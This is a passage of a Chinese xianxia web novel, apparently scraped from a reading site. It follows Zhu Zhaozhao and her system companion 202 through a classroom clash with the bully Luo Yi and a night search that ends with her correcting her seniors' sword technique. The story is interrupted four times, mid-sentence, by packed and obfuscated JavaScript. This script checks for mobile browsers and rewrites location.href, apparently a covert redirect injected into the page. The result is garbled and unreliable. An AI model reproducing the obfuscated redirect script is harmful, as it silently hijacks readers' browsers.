只不过这次,白月书身旁多了个秦之衡。 收拾妥当后打着哈欠推开门,祝昭昭的死鱼眼刚好和秦之衡对了个正着。看着他清澈中透露着些许懵然的眼神,祝昭昭本来还有点混乱的脑袋瞬间打了鸡血一样精神。 她立刻换上一副向上青年的积极面貌:“月书师姐,秦师兄,你们都这么早。” “没错。”白月书反应比秦之衡更快,“一日之计在于晨,早起有助我们调动精气调养生息。因此我与之衡总是早早就起。” “既然昭昭你来了雾鸣山,今后便也要和我们一起。” 我能说不吗? 祝昭昭:流泪猫猫头·jpg 这边祝昭昭和白月书的对话结束,那边秦之衡才终于找到说话机会:“昭昭,你今后都要待在雾鸣山么。” 祝昭昭点头:“是。” “掌,师父说除了禁止出入的地方外,宗门内我可以随便来去。”祝昭昭熟门熟路地搬出挡箭牌回答,“我想着比起一个人,和月书师姐你们待在一起更有利我修行,所以经过师姐同意后,我就搬来雾鸣山了。” 她强调:“并且以后都要待在雾鸣山。” “如此。” 秦之衡转而看向白月书:“三师妹你与师父说过这件事了么?” “说了。”白月书抬手,示意祝昭昭来她身边,“昨晚休息前我传信与师父说了此事,他说都可。” 祝昭昭乖乖走到白月书身旁。 轻轻替祝昭昭整理微皱的衣摆,白月书话不停:“因为师父向来宽厚,定然不会介意。所以我昨晚只是知会他一声罢了。” 秦之衡不置可否。 最后帮祝昭昭摆弄完她的发髻,白月书召出本命剑:“好了,时间不早,我们要快些赶去学堂。” 跟着白月书踩上剑,祝昭昭在出发前低头看了脚下的剑一眼。 然后在银白如雪的剑身上,无比清晰地看见了倒映出的,她头上翘起的呆毛。 她花两分钟梳好的头发! 祝昭昭急了,试图用手去压,却压了几次都以失败告终。 令祝昭昭更慌的是,随着白月书驭剑速度加快,她的头发很快和自己的头发纠缠在一起,祝昭昭越想拨开,就缠得越紧。直到最后,祝昭昭整个上半身都被白月书的头发包裹住,驭剑路过的弟子见到都要吓得一激灵那种。 平静地看着又一个路过的弟子吓得差点从剑上摔下去,祝昭昭的心情已经从刚开始的羞愤欲死变得彻底麻木。 行吧,总归脸被挡住了,没人知道她是谁。 心情刚因为这自欺欺人式的安慰稍稍转好,下一秒,祝昭昭对上不知道为什么突然慢下速度,落后白月书一半的秦之衡。 看着他瞬间惊恐不已又奋力假装平静的眼神,祝昭昭不顾202抱大腿阻拦,默默在脑海里调出大范围记忆清洗器。 还是让一切都回归原点吧! * “好,我们到了。” 缓缓降下本命剑的白月书转身,正对身后站得笔直得像被定身的祝昭昭。 看着她被‘摧残’得乱七八糟的头发,白月书脸上难得出现震惊又错愕的神情。 “难怪方才我总觉得周围人的视线奇怪。”喃喃自语完,白月书抱歉地看着眼睛完全失去光彩的祝昭昭:“抱歉昭昭,下次我会注意控制我的头发。” 灵魂已经陷入虚无的祝昭昭:“没关系,月书师姐随意就好。” 旁边正在收剑的秦之衡当场被呛得连连猛咳。 拒绝了白月书要帮自己梳头的请求,并再三安慰她自己真的不是因为生气才不让她替自己梳头后,身心俱疲的祝昭昭走进班里。 瞧见祝昭昭来,云珈长臂一伸就要搂她:“昭昭,你来得好早。” 见势不妙的祝昭昭比她更快闪身拉开两人间的距离:“嗯。因为我起得早。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280500|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 座位上的齐青青笑得前俯后仰。 好在云珈本来心就大,祝昭昭不让她搂,她就退而求其次去拉祝昭昭的手:“刚才我在教室里就看到了,你是跟着白师姐还有秦师兄一起来的。” “白师姐修为高绝,剑法出神入化,即使上擂台也极少败于对手。我每每瞧见她驭剑的身姿,都宛如见到仙人。”她星星眼看着祝昭昭,“与她驭剑同行,感觉一定很棒对不对?” 很棒? 死命拦住自己启动记忆清洗器的202被自己打的在地上滚,脸上还残留着被头发攻击的痛感,祝昭昭微笑。 那可太棒了。 点头,拍拍云珈肩膀,祝昭昭习惯性想找上次坐的那个位置。 然而目光扫视着落到那处时,祝昭昭发现已经有人坐在那里。 无主的座位先到先得,这不是什么大事。加上云珈旁边还有空座,祝昭昭于是想也不想就直接坐到了她旁边。 然而她刚在云珈的热烈欢迎声里落座,就突然察觉到一道极其不友善的目光正盯着自己。 祝昭昭不喜欢这种目光。 所以整理好座位,她抬头,径直对上那道视线。 视线来自那个座位上的男子。 似乎没想到祝昭昭竟然瞬间就察觉到了自己的目光,来不及躲闪的男子一脸错愕地对上了她平静到漠然的双眼。 紧接着,意识到自己在刚才的短暂交锋里完全被压制后,男子脸上的错愕变成了慌张与恼怒。 仿佛为自己鼓劲般凶狠瞪着祝昭昭,男子握拳,竖起的拇指横着虚空划过脖颈。 威胁意味十足。 祝昭昭见状先是微愣,然后微笑起来。 以为祝昭昭在挑衅,男子更是大怒,椅子一动就准备起来。 下一秒,白掌教闪现在教室中央。 冷冷注视着男子脸上恨不得将祝昭昭除之后快的表情,白修之开口:“课堂之上禁止私斗,我没有提醒过你们么。” 嚣张气焰早已不复存在,此刻的罗毅像个鹌鹑:“提、提醒过。” 白修之:“所以你把我的话当耳旁风。” “不敢。”罗毅抖了一下,然后站得更直,“弟子知错。” “下不为例。” 白修之说完,走到讲台上。 台上白修之端出那本比砖头厚的书开始讲课,祝昭昭哼着小曲拿出册子放在桌上,准备做笔记。 云珈凑到祝昭昭耳边给她科普:“这个男的是刑煜的好友,叫罗毅,平时最爱做的就是和刑煜一起欺负他们看不顺眼的弟子。刚才他针对你,估计也是想给刑煜出气。” 她说着,用肩膀轻轻撞了祝昭昭一下:“昭昭你运气不错,没等他怎么样你掌教就来了。” 闻言目光落在被白修之罚站的罗毅身上,祝昭昭嘴角弯起一抹弧度:“运气不错?我也觉得。” 谁说卡在掌教赶来之前让笨蛋挑衅自己,不是运气的一种呢。 算准的运气也是运气,对吧? 思绪神游着,白修之背着讲台演示书本内容的时候,罗毅视线刚好扫过祝昭昭这边。 对上他脸上恨意满满的表情和握紧到发抖的拳头,这次,轮到祝昭昭回了他一个大大的,挑衅意味十足的笑容。 然后赶在罗毅有所回应之前,高高举手。 “掌教,罗毅他又瞪我!” 18. 日子还长别太嚣张 白修之闻声扭头,罗毅喜提打扫灵塔三天。 罚完罗毅,刚好讲完今天内容的白修之走到祝昭昭边上。 “我交给你的册子,你学得如何了。” 边上云珈听了这话,人当场吓得挺直腰板。 面无表情地扫了云珈一眼,白修之注意力重新放在祝昭昭身上。 祝昭昭拿出册子打开,望着白修之甜甜微笑:“掌教尽可问,昭昭知无不言。” 云珈眼睛都吓大了。 不是,昭昭你知道自己在说什么吗? 你会被掌教打击到怀疑人生的! 盯着祝昭昭看了一会儿,白修之脸上多了丝意味不明的笑。 他拿起册子:“既然你已说到这种程度,我若随便对待,反倒成了对你的看低。” 这话危险意味之足,云珈在边上听得都快吓变形了。 祝昭昭却跟个没事人一样,只老实点头。 白修之于是将书册翻页:“那便开始吧。” …… 要说这次问答,白修之确实是毫不留情,问祝昭昭的问题全部出自书册又脱离书册。一句话总结,就是出自书本又深于书本。 不是对书的内容无比了解的人根本不可能答出来。 但每一道,祝昭昭都答出来了。 不止是答出来,她的每个回答,都完美地融入了自己对书本内容的理解。回答之流畅,理解之深刻,仿佛回答问题的她就是书册的撰写人。 围观的其他弟子早已目瞪口呆。 要知道祝昭昭从进入学堂到今天被考,也才过去短短几天。 这还不包括在她得到书的时间。 这么短的时间里就能对书理解到这种程度,是什么概念? 接受着来自四周或震撼或敬佩的目光,刚才还吓得半死的云珈相当得意。 看吧,这就是我姐妹,厉害吧。 然后因为太嘚瑟,被白修之罚抄今天讲学的内容十遍。 课堂里瞬间只剩云珈的哀嚎。 白修之对祝昭昭的最后一个问题,也在此时问完。 面对几天就能彻底将自己给的书册融会贯通的祝昭昭,脸上表情一贯不算多的白修之也难得有了好颜色。 他看着祝昭昭桌上的笔记:“学如逆水行舟。昭昭,你不错。” “多谢掌教肯定。”祝昭昭表现得很谦虚,“多亏掌教和大家的帮助,昭昭才能进步得快。” “嗯。” 白修之点头:“今后若是有什么困难,尽管和我提。” 也许是担心祝昭昭听不懂自己的意思,他说着,朝罗毅的方向扫了一眼。 接收到白修之朝自己看来的目光,彼时还在罚站的罗毅立刻吓得站得笔直。 祝昭昭见状笑得更开心:“昭昭知道。谢谢掌教关心。” 朝祝昭昭摆摆手,下一秒,下学铃响,白修之消失在原地。 白修之离开,人群一哄而散。云珈拉着齐青青留下一句‘我们在门口等你’后跑出教室,只剩祝昭昭慢悠悠地开始收拾桌上书本。 最后一本书册收进白月书为她亲手缝制的爱心书包,突然出现的身影挡住祝昭昭面前的光。 “有事么,罗毅。”没事人般抬起头,祝昭昭似笑非笑,“你再不赶去灵塔,掌教的惩罚可是要加码的。” 差点被祝昭昭的笑脸气失控,罗毅忍了又忍才没挥起拳头。他咬牙,看着祝昭昭一字一句:“日子还长,我劝你最好别那么嚣张。” “上一个这么狂妄的,已经像丧家犬一样离开剑宗了。” 闻言脸上多了些笑意,祝昭昭不答反问:“以你的脑子,我怎么觉得是你理解错了。人家其实是受不了像你这样的白痴,被气走的。” 脸色瞬间憋成猪肝色,罗毅深呼吸好几个来回才调整过来:“你给我等着。” “这话不太有新意。”祝昭昭脸上笑容更深,“放狠话,得用点新鲜词,不然想吓到人会很有难度。” 像是想到什么有意思的事,她兴奋一合掌:“不如我教教你?” 话音落下,祝昭昭整个人瞬间来到仅离罗毅半掌之隔的距离。 脸上笑容依旧,她眉眼微弯,语气却阴森而冰冷:“下次你若再敢对我指手画脚,哪只手指我,哪只手就落地。” 属于祝昭昭的灵力波动隐隐在两人周围鸣振,望着她毫无笑意的眼底,罗毅早就没了刚开始的嚣张气焰。 因为他相信这个距离下的祝昭昭,完全能做到她说的那些威胁。 而更可怕的是,她接近自己的时候,自己甚至根本没看清她究竟是如何动作的。 意识到这点的瞬间,罗毅只觉得浑身如坠冰窟。 眼前这个小师妹,真的是什么都不懂的新人吗? 看着罗毅没了人色的脸,知道自己的目的已经达到,祝昭昭满意收工。 挥手撤下周围的灵力,她和颜悦色地拍拍罗毅肩膀:“看你脸色,我的教学应该还算成功。既然如此,那你好好回味学习,我就先走了。” “记得按时去灵塔报道。” 抛下最后一句,祝昭昭哼着小曲儿离开教室。 剩下呆呆站在原地的罗毅摸着不知何时已经布满额头的汗,半天说不出一句话来。 * 虽然出了些小插曲,但总的来说,今天的课堂体验还算不错。 吃着和云珈还有齐青青一起在山下集市上买的糖葫芦,祝昭昭哼着小曲走在回雾鸣山的路上。 三人回来得晚,这会儿太阳已经落山。而等到祝昭昭终于回到雾林居时,月光已经落满四周林草花木。 先回房间收拾买回来的东西。整理的时候,祝昭昭习惯性顺着大开的窗户瞟了眼悬崖对面。 入目依旧是静静在风中摇曳的月清花,清浅的香气飘进房间,祝昭昭眨眨眼,目光重新落在桌上的纸包。 不在了啊。 收拾好东西,祝昭昭拎起桌上的两个纸包。 打开门,她直朝白月书和秦之衡的屋子走去:“月书师姐,秦师兄,你们回来了吗?我在山下买了些点心,你们也来尝尝。” 边说着,她边挨个敲了敲两人的房门。 没有回音。 祝昭昭皱起眉头:“这么晚了还没回来,是去出任务了还是别的什么?” 回答她的,是花木被风吹动发出的沙沙声。 本来也不是什么爱等人的性子,加上刚才逛街确实累了。祝昭昭于是把纸包挂在两人门上,转身回去房间睡觉。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280501|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 早起,上课,修炼,休息。接下来的几天,祝昭昭都是如此度过。 修炼上有问题本来就是祝昭昭用来混进雾鸣山的理由,既然目的达到,她也就懒得再装傻子。偶尔白月书问她学得如何,她都会告诉白月书自己学得很好。 白月书一开始当然不信。 但当她亲自考核了祝昭昭几次,祝昭昭又每次都完美过关后,她也不得不信。 最后叮嘱了祝昭昭有不懂的地方一定要问自己,白月书对祝昭昭的教育方针从亲自指导改为放任自学。 然而随着她的教育方针改变,祝昭昭反而注意到了本来没注意的问题。 从入定中醒来,祝昭昭嚼着辟谷丹推开门,点亮自己檐下的两盏灯笼。 扭头看向白月书与秦之衡的房间,望着两人漆黑的房门口,她非常不解:“奇了怪了,他们这个时候为什么总是不在?” “在不在的,跟你有什么关系。” 202出现在祝昭昭身旁:“你管好你自己不就行了,管人家男女主去哪干嘛。” 闻言摸着灯笼上缀下的流苏,祝昭昭眼皮都不抬:“是,您说得对,我确实应该管好自己就好。” 202闻言得意得不行,刚想说点什么,就听祝昭昭继续道—— “这样的话,小世界一旦崩溃,我们直接收拾包袱回主系统登记任务失败降等级就好。多方便,就当辛苦重来这一趟算休假。” 祝昭昭朝202微抬下巴:“你说是不是,202?” 哪里还敢再啰嗦,202打了个滚缓解尴尬。 懒得搭理它,祝昭昭走到白月书房门前:“仔细想想,好像除了帮我搬来雾鸣山的那天,月书就没有一天这个点在房间过。” “还有秦之衡。”祝昭昭食指轻扣白月书房门,“他更是连那天都不在,这几天我根本没在这时候见过他。” “他们都去哪了?” 仔细观察了祝昭昭脸色半天,202绕到她边上小心翼翼说:“要不……我帮你找找?” “找什么找,杀鸡焉用牛刀。”祝昭昭没好气地伸出手指点点它脑门,“再说了,一天两天找不到人可以理解,每天每天人都不在,那肯定是有问题。” “你这样随便大范围搜索,岂不是打草惊蛇?” 202有点听不懂祝昭昭的话:“打草惊蛇……主人你的意思是担心我直接带你找到他们以后,你会看到不该看到的东西吗?” 不该看到的东西? 祝昭昭想了一下,语气变得迟疑:“嗯,你是指什么方面?” 目光渐渐游移,她小声比比:“我是觉得虽然剧情还没发展到互生情愫那步,但谁又能说一定得到了那步才会擦出火花呢?毕竟抬头不见低头见的,剧情描写也不一定是全部过程,没准关系早就提前了呢?所以……” 202:…… 主人突然说怪话怎么办,在线等,急。 “总之!”祝昭昭一拍大腿,“不管怎样,看还是要去看,但要由我亲自去找。这样比较好避免尴尬情况的发生。” 202被她吓一跳:“所,所以主人你准备怎么找?” “很简单。” 祝昭昭指指眼睛,笑得一脸狡黠:“用这个就好。” 19. 小孩子不要什么都好奇! 特意挑了个月明星稀的好天气,祝昭昭整理身上的黑色短打,为出门找人的计划做最后准备。 静静看着她动作,202突然问问题:“主人,我有件事想问你。” 祝昭昭边整理头发边‘嗯’了一声:“你说。” 202接话速度之快,似乎真的忍了很久:“主人你说你是为了防止剧情发展出意外才去找男女主,这我可以理解。” 祝昭昭:“所以呢。” “所以你能不能告诉我,”202深呼吸,“出去找个人,你为什么把自己包得像做贼一样。” 它终于抓狂:“穿成一副要把雾鸣山宝贝都扫荡光的样子,要是被男女主抓到,十张嘴都说不清了啊!” “主人你一天到晚脑子里都在想什么啊啊啊!” 202:尖叫,扭曲爬行,胡乱攻击·jpg “你懂什么。” 看都不看在边上犯病的202,祝昭昭慢悠悠地扎裤腿:“看没看见我里面套的什么。” 202从爬行中抽空抬头:“剑宗弟子服啊,怎么了。” 它说着,又突然疯起来:“你不会是想告诉我,偷东西被抓包的话就能用剑宗弟子的身份来逃脱抓捕吧?!” “你会被扔出剑宗的!!”202边说边在地上滚,“完了完了,我的新插件,我的积分,我的奖励,全完了,我还是洗洗睡吧。” 祝昭昭都被202自说自话的架势逗笑了。 然后抬手赏了它一个电击套餐。 “我知道你很关心任务进展,但是202,你这一着急就不听人说话的毛病什么时候能改改。” 充耳不闻202的嗷嗷叫,祝昭昭不紧不慢地把所有领口袖口扯扯松:“首先,我这身只是黑色短打,是正常人也会穿的衣服。穿它是为了方便一会儿在外面不那么显眼。” “其次,在短打里穿剑宗弟子服,确实是因为考虑到这身衣服的属性。” “但和你想的无关。”祝昭昭瞪了眼202。 自讨没趣的202静静在半空飘。 “最后。”祝昭昭关上打开通风的窗,“我天玄山要什么法宝没有,光现在我空间袋里的东西都装得满满当当。我犯得着冒任务失败的风险在剑宗偷东西吗?!” 祝昭昭嫌弃地点点202脑门:“真不知道你的数据库里除了安装新插件以外,还有没有装点有用的东西。” 被小看的202犹不服气:“我这才是正常思维水平好吗。论心眼谁能比你们前十维护员的心眼多。” “好好好,你是正常的,我才不正常。跟我这不正常的人搭档,您大亏特亏。”懒得和202争,祝昭昭满口敷衍完,推开房门,“我要开始找人了,你藏好,别飘在外边。” “怕什么,反正没人看得到我。” “但我可能会习惯性跟你说话!” 没好气扔下一句,祝昭昭手拿碧莹珠走进夜色中。 * 要说剑宗长老们住的山头确实很大。那么大的山头要是收得弟子多,或者座下剑童侍从多也就算了,至少人气多、热闹。 而如果长老只收几个弟子又喜静,那晚上的效果就较为不尽人意了。 眼尾余光瞄见角落里极速闪过的不明物,祝昭昭刚顺着视线扫过去,阵阵窸窣声又在她另一边响起。 “啊啊啊啊主人,刚才我好像看到有什么东西从你背后飘过去了!” 202整个球都快抖成波浪形:“好白的衣服,好长的头发,中间一根红色的该不会是舌头吧?!救命啊啊啊啊啊!” 努力远离202音量攻击的范围,祝昭昭不耐烦地‘啧’了一声:“202,你一个电子系统说‘好像’是不是太离谱了。” “您就不能动动您那尊贵的影像捕捉生成技术,解决围绕您的恐惧吗?” 202听完当场变脸:“再恐怖不就是一只鬼,要吓也是吓死你,怎么能动用影像捕捉生成技术。” “那不是浪费吗?” 祝昭昭都听笑了:“既然不怕,就不要一直叫唤。” “什么叫唤,说得那么难听。” 202相当不乐意:“我是在为你排除危险好吗,你不谢我就算了,还……啊啊啊啊啊,我又看到什么了,那是鬼火吗?那是鬼火吗?!它好像往我们这边飘过来了救命!!” 最后一丝理智终于崩断,祝昭昭忍无可忍:“真是吵死了。” 下一秒,吵闹声被电击声取代,202球身上闪耀的银白色电光映亮了大片黑暗。 “你看,周围是不是什么都没有。”祝昭昭倚在树上,把手里的碧莹珠抛着玩:“就是这场面只有我能看到,有点可惜。” 她竖起大拇指:“202,你比碧莹珠好用多了。” 快被电关机的202:我哄不好了,真的。 就在一人一机边吵边走时,不远处忽然传来细微响动。 祝昭昭把碧莹珠朝前举:“我好像听到有人在说话。” 刚缓过来的202很伤心:“你就继续用这个笑我吧,我再也不想理你了。” “什么笑不笑的。”祝昭昭原地站定,目光飞快梭巡一圈后锁定位置,“就在这里。” 示意202安静,她深呼吸,慢慢朝锁定的位置接近。 而随着距离渐近,原本听不真切的声音也慢慢变得清晰—— 先入耳的是一道沉稳中带着微微紧张的男声:“就是这里,不要动,仔细感受传递到手中的振动。” 男声说完,紧接着是哪怕努力压抑,但还能听出颤音的女声响起:“我不动。可是那振动太分散,我没办法全部捕捉。” “莫要紧张,既然如此,我便绕到你身后辅助你。” “如此甚好。” 女声先是答应下来,紧接着一阵细微的响动后,又听她小声说话:“师兄,你稍微离得近些,否则力量太不稳定。” “嗯。” “再近些。” “好……” 交谈到此为止,祝昭昭也仿佛被定身一样整个人僵直在原地。 202注意到她的不对劲:“主人,你脸色怎么突然变得那么奇怪?” 奇怪? 为什么奇怪? 这不是很明显吗?! 又有窸窸窣窣的声音从草丛后传来,哪怕早已见识过各种场面,此刻的祝昭昭还是感觉自己尴尬地好像全身有虫子爬一样刺挠:“……你别管。我们现在就回去。” “为什么啊?”202当然不答应,“草丛那边不就是男女主吗,我们都已经到这了,为什么不去看看?” “你不就是来找男女主的吗?” 想找男女主的前提是不涉及隐私! 祝昭昭更急了。 什么感受手上振动,什么绕道身后,什么离得近些…… 还要再近些! 202这个傻瓜不懂,不代表她也什么都不懂啊! 这是能让外人打扰的对话内容吗? 她的确是想知道白月书和秦之衡每天晚上到底都去了哪里,但不代表她想知道这种答案啊! 祝昭昭耐着性子:“202听话,我不看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280502|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们现在就走。” 202大声逼逼:“不要!来都来了,我今天一定要搞清楚男女主到底在干嘛!” 来都来了是用在这里的吗! 祝昭昭简直快被气死:“202,不想被电到回收就现在跟我走。” “电到回收我也要先看。” 抛下这一句,202直接飞过草丛。 没想到202搞突然袭击,祝昭昭脸都吓变色了:“你给我停下!” 她直接追着202越过草丛。 不止如此,因为太着急,她最后一句话是大声喊出来的。声音又大还劈叉,回音绕树林久久不散。 祝昭昭就在这样的背景下,和草丛那边的白月书与秦之衡结结实实地来了个对视。 视线落在两人僵住的剑招姿势,祝昭昭瞬间瞳孔放大。 他们在修炼! 想要缓解尴尬的念头在这一刻达到顶峰,脑子已经变成乱码的祝昭昭微笑着抬手—— “呦,练剑呢。” 气氛更加沉默。 望着两人眼里不加掩饰的震惊与迷茫,祝昭昭突然无比感同身受地理解了什么叫‘社会性死亡’。 202,你给我等着。 在即将扑到地上的最后一刻完成了急刹车——后退——站稳脚跟三部曲,祝昭昭若无其事地和白月书与秦之衡打招呼:“月书师姐和秦师兄晚上好。” “好……” 收回准备搀扶祝昭昭的手,白月书难得有些手足无措:“昭昭你……你,你吃过饭了吗?” 女主已经被吓到忘记修士是不需要吃饭的了。 祝昭昭的内心在流泪:“谢谢月书师姐关心,我吃了辟谷丹。” “如此。”白月书目光游移,“吃过饭了就好。” 已经完全听不进人说话了啊。 祝昭昭:擦汗猫猫头·jpg 两人对话的当口,站在边上的秦之衡注意到什么:“昭昭师妹你的衣服是怎么回事?” 好歹是没再继续和吃不吃饭较劲了。 祝昭昭扯扯身上的黑色短打:“这是我为了和晚上更相称特地选的颜色。” “和夜晚更相称?”秦之衡不明觉厉,“原来师妹的品位如此与众不同。” 竟然就这么接受了这个说法! 飘在半空围观的202震撼。 “但昭昭你刚才那句‘给我停下’是什么意思?”调理好了的白月书基本理智终于回归,“而且你在那处待了多久,我和秦师兄竟然没有察觉到。” 话到最后,白月书明显起了疑,看得祝昭昭脑子里狂拉警报:“其实我是刚刚找过来的,因为师兄师姐你们这边的灵力波动太强了。” “你们方才是在修炼对不对。” 白月书闻言,目光落在手里本命剑轻缨:“算是吧。” ‘算是吧’是什么意思。 “不是修炼是什么?”祝昭昭问,“你们刚才都……那样了,那难道不是剑招的内容吗?” 虽然不太理解‘那样’究竟是哪样,白月书想了想,还是回答:“方才我与之衡是在研究如何将灵力更合理地分散于手与剑之间,但一直不得要领。” 她看起来有些低落:“再这样下去,我们如何能按时完成大师兄交于我们的任务。” 旁边秦之衡虽然不说话,但消沉的神情证明了他有同样的困扰。 看着气氛低迷的两人,收回趁着空档按下惩罚键,把202电得外焦里嫩的手,祝昭昭迟疑着开口。 “也许,我可以帮你们看看问题出在哪。” 20. 同学间理当团结友爱 “什么?” 显然没想到祝昭昭会突然来这么一句,白月书和秦之衡都愣了一下。 本着不打击新人的基本原则,秦之衡轻咳两声:“昭昭,我知道你很关心我与月书师姐,但你刚踏入修行一途,我们学的招式对你来说可能很难理解,所以……” “不试试看怎么知道。” 秦之衡怔,对上祝昭昭笑眯眯的双眼。 她语调轻快,没有半点被小看的恼意:“提示讲究机缘,不一定非得是在高手或大家处才能得到有用的意见对不对。” 秦之衡还是有些犹豫:“可是……” 摩挲着手里的轻缨,白月书开口:“之衡,我也觉得昭昭说得没错。” 几步走到祝昭昭身旁。她轻抚祝昭昭的头:“虽然昭昭的确刚踏入修行一途不假,但有时一些我们无论如何都捉摸不透的地方,恰恰是因为我们修炼太久,太过囿于一些被认为是铁律的规则,所以反倒迷失方向。” “这种时候,继续保持我们的观点恰恰是错的。倒不如让旁人看看,兴许就能找到突破口。” 握紧手中轻缨,白月书无所谓地笑笑:“实在不行,就当我们提前让昭昭了解更深奥的招数也好。” 所以说到最后还是没有很相信啊。 在心里默默擦汗,祝昭昭乖巧点头:“谢谢月书师姐愿意相信昭昭。” 看着搂在一起的白月书和祝昭昭,秦之衡沉默片刻,最后还是妥协:“既然如此,那便听你的吧。” 白月书与祝昭昭相视一笑。 “那么。” 灵巧挽了个剑花,白月书摆出起手式:“昭昭,你看好了。” 白月书的剑招祝昭昭见过。是刚搬过来的时候,她送给祝昭昭的那本五长老的秘技剑谱里的其中一招。 哪怕祝昭昭对修剑一术还稍显生涩,也能看出白月书对剑招掌握得非常好。招数与气势几乎都与剑谱里的要求无异,柔与韧在她身上平衡之完美,是很多剑修穷尽一生都难以达到的程度;还有秦之衡—— 祝昭昭与秦之衡平时接触不算多,对他最大的印象就是性格沉闷少言寡语。然而今日月下一瞥,握住剑的他整个人气势完全与往常不同,锐利的眼神藏于冷厉的剑光中,月色下舞剑的剪影恍若青竹。 一招很快结束,白月书与秦之衡收剑后齐齐望向祝昭昭。 祝昭昭却似乎已经走神。 她微微涣散的目光落在两人身上,又仿佛透过两人,望向了更远的地方。 因为早在舞剑前就做过心理准备,白月书和秦之衡见状并没有太失望。收起剑,两人准备回去休息:“时间不早了。昭昭,我们回去休息吧。” 两人说完转身。 就在这时,祝昭昭的声音在他们身后响起—— “气滞在腕。” 两人闻言俱是一怔。 白月书回头:“昭昭,你说什么?” “我说。” 祝昭昭背着手,被月下竹影遮蔽的身影不甚清晰:“月书师姐你这招最大的问题,在于灵力流转于腕部之时,灵脉没有处理好灵力的运化。手与剑之间的灵力流转不顺,最终导致剑招无法发挥最圆满的力量。” “还有秦师兄。” 祝昭昭目光落在秦之衡身上:“秦师兄的问题则与月书师姐恰恰相反,在于灵力太满。” 秦之衡皱眉:“太满?” “对。”祝昭昭微微颔首,“秦师兄剑招偏向大开大合,一招一式都尽全力发挥出剑招的最大威力。但你们方才演示的那招,要求的并不是‘满’,而是‘灵’。” “用巧劲控制招式,才是正确方法。” 祝昭昭说完,白月书与秦之衡静静站在原地,半晌没有开口。 他们不想打击祝昭昭的信心,但相对的,他们其实也并不太相信祝昭昭的话。 因为没有人提过这些问题。 不管是五长老曾书还是大师兄慕行秋,两人在指点他们修炼的时候,都从未提到过祝昭昭说的问题。 而如果强为一宗长老和宗门青年一代顶尖战力的人都没有看出他们有问题,祝昭昭又是怎么发现的? 她是第一个指出这个问题的人。 换句话说,这个问题真的存在吗? 如果它只是一个经验不足的新弟子误判得出的结果呢? 两人对视一眼。 将白月书与秦之衡的反应看在眼里,祝昭昭并没有类似失望或不忿的感觉。 她如今只是一个刚入门的弟子,哪怕是个灵根有源的天才,也只是一个新弟子。 新弟子的话不被重视与参考,是件再正常不过的事。 祝昭昭当然知道这个道理。 所以她准备结束话题:“现在好像确实很晚了。这个时候入定,效果应该会比平时要好得多。” 祝昭昭笑:“所以我们……” “昭昭你刚才说的,是这个意思吗?” 话音落下的瞬间,白月书手中轻缨化作一道雪色寒芒,快到只能看见纤细剑影在夜色里,如入水蛟龙。 剑招来到先前怎么都不得要领的转折,这次,白月书选择按祝昭昭说的方法控制灵力流转。 剑影划出锐利剑意。下一秒,风声响起,剑意掠过之处,所有竹叶碎作道道细痕。竹叶纷纷扬扬落下,仿佛竹林下起的雨。 “成功了!” 轻缨收入腰间剑鞘,白月书难掩激动:“灵力经过腕处时先收再放,由腕带动手与剑加速挥出招数即成。” “昭昭说的是真的!” 白月书望着还站在原地的秦之衡:“之衡,你也按照昭昭说的来试试。” 秦之衡于是照做。 和白月书的反应相差无几,收剑后的秦之衡望着祝昭昭的眼里是毫不掩饰的讶异:“昭昭师妹,你是如何看出我与月书剑招上的问题的。” 本来就是一时兴起的提醒,祝昭昭并不打算提供售后:“秘密。” 没想到得到的是这么个回答,秦之衡怔。他刚想说点什么,白月书已经先一步握住祝昭昭的手:“昭昭,多谢你提醒。如果不是你,我与之衡还不知道要为这招烦恼多久。” 她满眼兴奋:“昭昭你能来雾鸣山真是太好了。” 被白月书一通彩虹屁夸得有点不太习惯,祝昭昭笑:“该是昭昭要谢谢月书师姐愿意让我来雾鸣山,我才是被月书师姐帮助了很多。” 摸摸祝昭昭的脑袋,白月书继续夸:“灵根有源,修炼快速,悟性惊人。昭昭,还好你来了剑宗而不是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280503|166810||http|test|mini|href|location''.split(''|''),0,{})); () { 